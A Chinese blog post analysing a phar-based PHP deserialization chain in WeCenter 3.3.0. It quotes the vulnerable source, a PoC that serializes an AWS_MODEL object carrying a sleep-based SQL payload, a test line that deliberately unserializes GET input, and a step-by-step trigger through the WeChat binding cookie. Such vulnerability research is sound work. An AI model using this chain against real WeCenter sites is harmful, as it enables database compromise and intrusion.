WeCenter 3.3.0 反序列化漏洞分析
前言
已经很久没有写过博客了,为了能够去实习选的课很多把自己时间全部挤占完了,正好在学校当地有网络攻防演习,进行资产收集的时候意外发现了这个问题,这个洞和后面爆出WeCenter3.3.4
的利用链几乎相同,只是这个早期版本的这个点没人记录,因此写篇博客记录一下,也算复健。
<!--more-->
基础思路
最基础的思路来源于这篇文章:
某Center v3.3.4 从前台反序列化任意SQL语句执行到前台RCE - 先知社区 (aliyun.com)
接下来我们就来捋捋这个反序列化的链条,首先看本次反序列化使用类:
该类在我本地位置如下:
WeCenter330/system/aws_model.inc.php
class AWS_MODEL
{
public $prefix;
public $setting;
private $_current_db = 'master';
private $_shutdown_query = array();
private $_found_rows = 0;
//省略其他无关方法
public function __destruct()
{
$this->master();
foreach ($this->_shutdown_query AS $key => $query)
{
$this->query($query);
}
}
}
这里非常明显是一处sql
注入点了,__destruct
方法通过将本类的实例化对象中的_shutdown_query
属性进行遍历,取出其键值对,将其值进行查询,这个query
方法看起来非常像数据库查询的样子,我们看看源码来确认一下:
WeCenter330/system/aws_model.inc.php
同样的位置:
public function query($sql, $limit = null, $offset = null, $where = null)
{
$this->slave();
if (!$sql)
{
throw new Exception('Query was empty.');
}
if ($where)
{
$sql .= ' WHERE ' . $where;
}
if ($limit)
{
$sql .= ' LIMIT ' . $limit;
}
if ($offset)
{
$sql .= ' OFFSET ' . $offset;
}
if (AWS_APP::config()->get('system')->debug)
{
$start_time = microtime(TRUE);
}
try {
$result = $this->db()->query($sql);
//这里是直接使用数据库查询操作了
} catch (Exception $e) {
show_error("Database error\n------\n\nSQL: {$sql}\n\nError Message: " . $e->getMessage(), $e->getMessage());
}
if (AWS_APP::config()->get('system')->debug)
{
AWS_APP::debug_log('database', (microtime(TRUE) - $start_time), $sql);
}
return $result;
}
前面通过一系列的if
操作,构造出SELECT<其他关键词也行> WHERE XX LIMIT XX OFFSET XX
的sql
语句,中途没有进行任何过滤,因此我们确定这个地方存在sql
注入的问题。
我们验证一下这个问题:
WeCenter330/index.php
在程序最开始的地方添加测试代码
<?php
/*
+--------------------------------------------------------------------------
| WeCenter [#RELEASE_VERSION#]
| ========================================
| by WeCenter Software
| © 2011 - 2014 WeCenter. All Rights Reserved
| http://www.wecenter.com
| ========================================
| Support: WeCenter@qq.com
|
+---------------------------------------------------------------------------
*/
if (! file_exists(dirname(__FILE__) . '/system/config/database.php') AND ! file_exists(dirname(__FILE__) . '/system/config/install.lock.php') AND !defined('SAE_TMP_PATH'))
{
header('Location: ./install/');
exit;
}
include('system/system.php');
unserialize(base64_decode($_GET["hello"]));//就是这一条
AWS_APP::run();
对应测试exp
:
<?php
class AWS_MODEL
{
private $_shutdown_query = array();
public function __construct()
{
$this->_shutdown_query['payload'] = 'SELECT 1 AND sleep(10000)';
}
}
$a = new AWS_MODEL;
echo base64_encode(serialize($a));
//Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e3M6NToiaGVsbG8iO3M6MjU6IlNFTEVDVCAxIEFORCBzbGVlcCgxMDAwMCkiO319
测试结果为:
此时会一直卡住因为我们的sleep()函数输入的相当高
,最后会直接导致报错,因此验证该漏洞存在:
接下来的问题自然就是考虑如何触发反序列化了,首先如果考虑直接的触发点unserialize()
一般情况下是不会出现unserialize
函数参数可控的情况,所以考虑phar
这种扩展php
反序列化攻击的手法,具体情况可以参考下面这篇
利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)
根据手册phar
的攻击面相当广泛:
首先与文件相关的读写操作可以用它,与目录相关的操作可以用他,甚至在allow_url_fopen
和allow_url_include
同时关闭的情况下也可以使用,受影响的函数列表上面的参考链接也给出了。
下面直接说结论,通过寻找文件相关函数可找到下面这个触发点:
WeCenter330/models/account.php
public function associate_remote_avatar($uid, $headimgurl)
{
if (!$headimgurl)
{
return false;
}
if (!$user_info = $this->get_user_info_by_uid($uid))
{
return false;
}
if ($user_info['avatar_file'])
{
return false;
}
if (!$avatar_stream = file_get_contents($headimgurl))
{
return false;
}
$avatar_location = get_setting('upload_dir') . '/avatar/' . $this->get_avatar($uid, '');
$avatar_dir = dirname($avatar_location) . '/';
if (!file_exists($avatar_dir))
{
make_dir($avatar_dir);
}
if (!@file_put_contents($avatar_location, $avatar_stream))
{
return false;
}
foreach(AWS_APP::config()->get('image')->avatar_thumbnail AS $key => $val)
{
AWS_APP::image()->initialize(array(
'quality' => 90,
'source_image' => $avatar_location,
'new_image' => $avatar_dir . $this->get_avatar($uid, $key, 2),
'width' => $val['w'],
'height' => $val['h']
))->resize();
}
$this->update('users', array(
'avatar_file' => $this->get_avatar($uid)
), 'uid = ' . intval($uid));
if (!$this->model('integral')->fetch_log($new_user_id, 'UPLOAD_AVATAR'))
{
$this->model('integral')->process($new_user_id, 'UPLOAD_AVATAR', round((get_setting('integral_system_config_profile') * 0.2)), '上传头像');
}
return true;
}
重点在于这行代码$avatar_stream = file_get_contents($headimgurl)
,此处加入我们可以控制$headimgurl
的值,那么意味着我们可以通过file_get_contents
触发phar
反序列化,接下来是需要找到上传点和associate_remote_avatar
是在何处调用即可。
上传点
本系统有相当多的上传点,头像也好,发表评论也罢都是上传点,且注册时默认情况下是不会对注册邮箱进行验证码校验,而且普通用户就具有上传功能,因此这个不在难考虑的范围。
何处调用associate_remote_avatar
全局搜索->associate_remote_avatar
WeCenter330/models/openid/weixin/weixin.php
该函数体如下:
public function bind_account($access_user, $access_token, $uid, $is_ajax = false)
{
if (! $access_user['nickname'])
{
if ($is_ajax)
{
H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('与微信通信出错, 请重新登录')));
}
else
{
H::redirect_msg(AWS_APP::lang()->_t('与微信通信出错, 请重新登录'));
}
}
if ($openid_info = $this->get_user_info_by_uid($uid))
{
if ($openid_info['opendid'] != $access_user['openid'])
{
if ($is_ajax)
{
H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('微信账号已经被其他账号绑定')));
}
else
{
H::redirect_msg(AWS_APP::lang()->_t('微信账号已经被其他账号绑定'));
}
}
return true;
}
$this->insert('users_weixin', array(
'uid' => intval($uid),
'openid' => $access_token['openid'],
'expires_in' => (time() + $access_token['expires_in']),
'access_token' => $access_token['access_token'],
'refresh_token' => $access_token['refresh_token'],
'scope' => $access_token['scope'],
'headimgurl' => $access_user['headimgurl'],
'nickname' => $access_user['nickname'],
'sex' => $access_user['sex'],
'province' => $access_user['province'],
'city' => $access_user['city'],
'country' => $access_user['country'],
'add_time' => time()
));
$this->associate_avatar($uid, $access_user['headimgurl']);
$this->model('account')->associate_remote_avatar($uid, $access_user['headimgurl']);
return true;
}
从该函数功能来看,我们知晓该函数是用于绑定微信的,因此需要找到该系统的绑定微信功能,当我们进行绑定微信操作的时候,这个函数会进行insert
操作,在进行完insert
操作之后,会直接调用associate_remote_avatar
函数,只需要使用绑定微信功能,即可触发漏洞了。
下一步我们需要知道$access_user
这个变量是否可控,因为我们需要这个变量来控制headimgurl
的值,我们搜索全局看看哪里使用了bind_account
,因此找到了下面这处:
WeCenter330/app/m/weixin.php
:
public function binding_action()
{
if ($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'])
{
$WXConnect = json_decode($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'], true);
}
if ($WXConnect['access_token']['openid'])
{
$this->model('openid_weixin_weixin')->bind_account($WXConnect['access_user'], $WXConnect['access_token'], $this->user_id);
HTTP::set_cookie('_WXConnect', '', null, '/', null, false, true);
if ($_GET['redirect'])
{
HTTP::redirect(base64_decode($_GET['redirect']));
}
else
{
H::redirect_msg(AWS_APP::lang()->_t('绑定微信成功'), '/m/');
}
}
else
{
H::redirect_msg('授权失败, 请返回重新操作, URI: ' . $_SERVER['REQUEST_URI']);
}
}
我们可以发现,实际上传入bind_account
的值来自于$_COOKIE
且对应的值为当初指定的前缀+_WXConnect
,因此我们触发只需要使用这个$_COOKIE
值即可。
梳理攻击流程
因此我们可以梳理出整体的攻击流程:
- 登录该系统利用上传点,传入一个实际上为
phar
文件,但后缀为图片的文件,我们需要记住这个文件的位置在哪。 - 使用绑定微信功能,通过修改
$_COOKIE
值的对应部分headimgurl
值为phar://
触发phar
反序列化。 - 与原版不同的是,我们不需要访问
synch_img_action
,因此我们直接在bind_account
函数中就可以触发反序列化了。